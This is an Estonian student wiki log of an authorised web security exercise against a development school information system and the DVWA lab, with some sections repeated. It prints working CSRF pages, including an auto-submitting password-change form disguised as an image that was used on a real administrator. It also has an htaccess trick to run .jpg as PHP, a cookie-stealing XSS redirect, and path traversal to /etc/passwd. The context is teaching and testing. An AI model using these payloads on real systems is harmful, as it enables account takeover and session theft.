http://dvwa/hackable/uploads/*.jpg
</ul>

== 3. päev ==

=== Alo tegevus ===
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.<br>
Faile saab alla laadida enda profiili all õppesooritustes.<br>
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.<br>
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.<br>
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.<br>
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.<br>
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.<br>

=== Urmo tegevus ===
====Subgraph Vega ====
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.
Programm on Java põhine graafilise liidesega ja töötab Linux'i, OS X ja Windowsi peal.

[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.

Alustasime uut skänni (Start New Scan).
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.

Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised.

Me lisasime ainult küpsise (cookie) sisu:
<pre>
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221
</pre>
ning Finish.

[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).

Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000.

Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script'ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body nõrkust.

Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID'sid ja parameetreid ära oma pealkirjades.
Õnneks parameetritega väljad olid veebilehel korralikult ära escape'itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.

ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.

==== Wapiti ====
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti.
(Koduleht: http://wapiti.sourceforge.net/)

Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS'iga midagi teha.

==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====
=====1. katse - ÕISi keskkkonna keelevahetus =====
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]

Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.

Võtsime dev-ÕIS'i Source Code'ist välja vastava formi osa ja panime eraldi html faili.
Koristasime mittevajaliku disaini koodi juurest ära.
Muutsime form'i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks "en" ehk inglise keelne keskkond tekiks.
Panime koodi enose veebiserverisse üles nimega ois.html.

Faili sisu:
<source lang="html4strict">
<form id="settingsForm" method="post" action="https://itcollege.dev.ois.ee/setting/edit?user_id=2198"
enctype="application/x-www-form-urlencoded">
<input type="hidden" AUTOCOMPLETE="off" name="default_language"value="en">
<br>
<input type="submit" value="Salvesta seaded" name="Savesettings">
</form>
</source>
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.

Katsetas koodi enda konto peal Taavi.

=====2. katse - ÕIS'i kasutaja parooli muutmine =====

[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.

Selle jaoks uurisime välja, kus asub dev-ÕIS'i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.

Muutsime password ja password_check lahtrite väärtused järgnevaks: "test123" ehk kasutaja uus parool peale rünnakut.

Lahtrites muutsime user_id'd sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.

Kõik vormi lahtrite tüübid määrasime peidetud ehk "hidden", et poleks midagi näidata.

Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist.
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.

Lisasime CSS koodi Submit nupu ära peitmiseks.
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.

Salvestasime faili ära kui "screen1.jpg" fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.

Faili sisu:
<source lang="html4strict">
<html>
<head>
<style type="text/css">
#Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }
</style>
</head>
<body>
<body onload="document.forms.setPasswordForm.submit();">
<form name="setPasswordForm" id="setPasswordForm"
action="https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&continue=/auth/logout"
method="post">
<input type="hidden" name="user_id" value="2227" id="user_id" />
<input type="hidden" name="continue" value="%2Fet%2Fsetting%3Fuser_id%3D2227" id="continue" />
<input type="hidden" name="password" id="password" value="test123" />
<input type="hidden" name="password_check" id="password_check" value="test123" />
<input type="submit" name="Setpassword" id="Setpassword" value="Muuda salasõna" />
</form>
</body>
</html>
</source>

[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]

Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.
<pre>
AddType application/x-httpd-php .php .jpg
</pre>

Laadisime mõlemad failid Enose veebiserverisse avalikult.

Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki.
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle.
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail.
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja.
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud "test123"-ks ja me saime ligipääsu administraatori õigustes kontole.
Rünnak oli edukas.
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]

Andsime teada Valterile teada, et tegelikult tegime salajase ründe.
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha.
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug'iga.

Kuna tegu oli ÕIS'i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.

=== Taavi tegevus ===
===Burp suite===

Esimese asjane peale Burp suite käivitamist. Tabilt proxy ->intercept ->intercept off<br>
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)<br>
Proxy -> options alt lülitada sisse proxy listner pordile 8080 .<br>
Ohvri valimine <br>
Valida intruder -> target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.<br>
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.<br>
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.<br>site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.<br>
Targer->scope -> exclude frome scope ja veenduda at välja on arvatud logout laused.<br>
Spideringi sisselülitamine <br>
Valida tab Spide ning sealt panna linnuke kasti spider running.<br>
Ning oledki valmis saama laheküljelt infot.<br>
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.<br>
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.

==Nessuse algkäivitamine==
Valida backtrackist vulnerability scannerite alt nessus ning edasi nessus register .<br> Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.<br> Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)<br>
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)<br>
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.<br>
Järgnevalt valida nessus start.<br>
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.<br>
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.

=== Matise tegevus ===
==Väike upload tegevus, mis võiks olla teisiti==
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.
Proovisime üles laadida:
<li>filme
<li>exe
<li>jpm faile
<br>kõik läks läbi ja sai uploaditud
Sellises kohas võiks olla süsteem tehtud whitelisti põhimõttel, et lubatud oleks ainult .doc .docx .pdf taolised failid ja kõik ülejäänud keelatud.

=== Sanderi tegevus ===
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]
Backtarcki keskkonnas sai testitud programmi w3af.

==== Backtrack: w3af ====
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]
Võimalik kätte saada SSL Certificate.
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:
https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?
username=<font color="red">KASUTAJANIMI</font>&continue=&Login=Logi sisse&pw=<font color="red">PAROOL</font>
Programmi sisestatud andmetega ka mitte:
Configuration -> HTTP Config -> Basic HTTP Authentication:
basicAuthUser: <font color="red">KASUTAJANIMI</font>
basicAuthPass: <font color="red">PAROOL</font>
basicAuthDomain: http://itcollege.dev.ois.ee
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:
Configuration -> HTTP Config -> Cookies
cookieJarFile: /root/Desktop/<font color="red">ois_cookie.txt</font>
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:
# Netscape HTTP Cookie File
.dev.ois.ee TRUE / FALSE 1731510001 itcollege_OIS_SESSION_ID <font color="red">870aqllryuw3cmf6cv8ellha03</font>
Esimene rida on nõutav! Teiste tähendused:
domain - The domain that created and that can read the variable.
flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.
This value is set automatically by the browser, depending on the value you set for domain.
path - The path within the domain that the variable is valid for.
secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.
expiration - The UNIX time that the variable will expire on.
name - The name of the variable.
value - The value of the variable.
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:
Edit -> Preferences -> Privacy -> History -> remove individual cookies
Search: itcollege.dev.ois.ee
Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID

Skänneerimine:
<ul>
<li>The page language is: en</li>
<li>The URL: "https://itcollege.dev.ois.ee/" has a "<form>" element with auto-complete enabled.</li>
<li>A comment with the string "<p>tunne end kui koolis</p>" was found in: "https://itcollege.dev.ois.ee/".</li>
<li>Found a form login. The action of the form is: "https://itcollege.dev.ois.ee/auth/login".</li>
The username field to be used is: "username".
The password field to be used is: "pw".
<li><font color="red">Found authentication credentials to: "https://itcollege.dev.ois.ee/auth/login". A correct user and password combination is: Administrador/6666666</font></li>
Antud kasutaja ja parooliga sisse ei saanud.
<li>The URL: "https://itcollege.dev.ois.ee/" returned a response that may contain a "SHA1" hash. The hash is: "c7b39896de5f296b5a44c2dfcd9f0600b2cf424d". This is uncommon and requires human verification.</li>
Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.
<li>The URL: "https://itcollege.dev.ois.ee/" sent these cookies:</li>
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/
<li>The SMTP settings in emailReport plugin seem to be incorrect. Original error: "[Errno 111] Connection refused".</li>
Kui tuleb see veateade, siis skänn katkeb.
<li><font color="red">The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):</font></li>
The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
<li><font color="red">SQL injection in a Unknown database was found at: "https://itcollege.dev.ois.ee/auth/login", using HTTP method POST.</font></li>
The sent post-data was: "username=John8212&security_key_sis_global=d'z"0&Login=Logi%20sisse&continue=56&pw=FrAmE30.".
The modified parameter was "security_key_sis_global". This vulnerability was found in the request with id 390.
<li>Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt</li>
User-agent: *
Disallow: /
Allow: /curriculum
Allow: /subject
Allow: /diploma
Allow: /schedule/ical
</ul>

== 4. päev - Presentatsiooni tegemine ja esitlemine ==

Koostasime presentatsiooni ja esitlemine.

[[Media:Security_team_presentation.ppt]]

== Arvamused intensiivõppe nädala kohta ==

== Tegijad ==
Alo Konno A21

Urmo Lihten A21

Taavi Podžuks A22

Matis Alliksoo A22

Sander Saarm A22

== Juhendajad ==
Mart Mangus

Margus Ernits

Valter Kungla

Security team

2012-03-30T11:27:51Z

Mallikso: /* Matise tegevus */

== 1. päev - Materjalidega tutvumine ==

<h1>POOLELI!</h1>

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

A1: Injection - Urmo
A2: Cross-Site Scripting (XSS) - Alo
A3: Broken Authentication and Session Management - Sander
A4: Insecure Direct Object References - Alo
A5: Cross-Site Request Forgery (CSRF) - Taavi
A6: Security Misconfiguration - Matis
A7: Insecure Cryptographic Storage - Matis
A8: Failure to Restrict URL Access - Urmo
A9: Insufficient Transport Layer Protection - Taavi
A10: Unvalidated Redirects and Forwards - Sander

Sanderi konspekt: [[Media:Ois_materjal.pdf]] <br>
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] <br>
Taavi esitlus [[Meida: A9.pdf]] <br>
Taavi esitlus [[Meida: A5.pdf]] <br>
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] <br>

== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==
===Security Team tegevusplaan===
1. Päev
1.1 Tutvuda OWASP’iga.
1.2 Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.
1.3 Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.
2. Päev
2.1 Esitada tiimi tegevusplaan.
2.2 Tutvuda turvariskidega natuke põhjalikumalt.
2.3 Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.
2.4 Täiendada esimese päeva ettekannet.
3. Päev
3.1 Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.
3.2 Saadud tulemuste dokumenteerimine.
4. Päev
4.1 Saadud tulemuste esitlemine ettekandega
5. Päev
5.1 Tulemuste parandamine wiki’s.

=== Alo tegevus ===

http://www.acunetix.com/support/vulnerability-checks.htm
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting
http://www.youtube.com/watch?v=SG1cvGQ971g
http://www.isecom.org/research.html
http://evuln.com/tools/
http://sectools.org/tag/web-scanners/
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/
http://www.acunetix.com/vulnerability-scanner/getting-started.htm

Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:
Acunetix Web Vulnerability Scanner v. 8
http://www.acunetix.com/vulnerability-scanner/

Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.
Antud programm võimaldab skännida:
Cross-Site Scripting (XSS)
SQL Injection (blind test)
File inclusion
Code Execution
LDAP Injection
Cross Frame Scripting
SQL Injection (error msg. test)
CRLF Injection
Directory Travelsal
XPath Injection
URL Redirection
Application Error Message

Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.

=== Urmo tegevus ===

Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.

Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.

==== Brute Force (DVWA) ====
Käsitsi välja uuritud login andmed:
kasutajanimi: admin
parool: password

===== Fireforce plugin Firefoxis =====
Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce.
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .

Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud.
Selleks sai sõna "incorrect".
Määrata ära tuli ka, et mitu päringut sekundis tehakse.
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada.
Päringute tegemise kiirus vähem kui 1 päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.
Kasutasime ka videos näidatud "@ DICTIONARY" teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

===== Burpsuite v1.4 =====
Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI'st]]

Programm on juba loomult keerulisem.
Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine.
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.
Ründe stiiliks määrata Pitchfork.
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.
Kahjuks ka see rünne ei toiminud teadmata põhjusel.
Proovitud sai ka lühemate nimekirjadega ja edutult.

Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt.
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

==== CSRF - Cross-site request forgery ====
Katsetamine toimub koos Taaviga.

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.

Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.
Võtsime lehe Source Code lahti
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.
Current Password lahtri jätsime samaks.
Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".
Salvestasime faili ja käivitasime selle.
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

=== Taavi tegevus ===

Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.

=== Matise tegevus ===
==== Reflected Cross Site Scripting (XSS) ====
<ul>
<li>Lehel on selline Form:</li>
[[Image:Xsstesting.jpg|Location="left"|Caption|]]
<br>Form väljastab : Hello „sisestatud nimi“
<li>Easy puhul:</li>
<li>Saab sisestada textboxi skripti:</li>
<script>
alert(document.cookie.match(/PHPSESSID=[^;\]+/));
</script>
<li>Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.</li>
<li>Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: </li>
<script>
this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);
</script>
<li>Saab kohe enda veebiserveri logidest näha Session ID’d.
<br>Näide logist:</li>
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" <br> "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
<li>Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.</li>
</ul>

=== Sanderi tegevus ===
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]

SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).
==== Faili üleslaadimine: madal tase ====
<ul>
<li><b>DVWA Security</b> määrata: Low -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess</li>
Üleslaetavasse *.php faili saab kirjutada php koodi:
<?php var_dump($_REQUEST, $_SERVER); ?>
<li>Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:</li>
esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low");
teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME",
"SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
</ul>

==== Faili üleslaadimine: keskmine tase ====
<ul>
<li><b>DVWA Security</b> määrata: Medium -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida ei saa näiteks järgnevates formaatides faile:</li>
.htaccess
.php .html .pdf
.gif .png .bmp
.svg .swf
.tif .tiff .exif
.raw .cgm
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
<li>Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:</li>
http://dvwa/hackable/uploads/*.jpg
<li>Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht:</li>
http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg
Kuvatakse php skripti tulemus.
Kommentaar: "?page=" kasutamine võetud menüüvalikust: <b>File Inclusion</b>
<li>"?page=" abil saab vaadata kasutajate nimesid:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
<li>Paroole vaadata ei saa, selleks õigused puuduvad:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
</ul>

==== Faili üleslaadimine: kõrge tase ====
<ul>
<li><b>DVWA Security</b> määrata: High -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.</li>
<li>Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:</li>
ERROR: File not found!
<li>Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:</li>
http://www.motobit.com/util/base64-decoder-encoder.asp
<li>Moodustades loodud faili asukohast kood ja kasutades</li>
data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:
http://dvwa/hackable/uploads/*.jpg
</ul>

== 3. päev ==

=== Alo tegevus ===
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.<br>
Faile saab alla laadida enda profiili all õppesooritustes.<br>
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.<br>
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.<br>
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.<br>
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.<br>
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.<br>

=== Urmo tegevus ===
====Subgraph Vega ====
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.
Programm on Java põhine graafilise liidesega ja töötab Linux'i, OS X ja Windowsi peal.

[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.

Alustasime uut skänni (Start New Scan).
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.

Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised.

Me lisasime ainult küpsise (cookie) sisu:
<pre>
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221
</pre>
ning Finish.

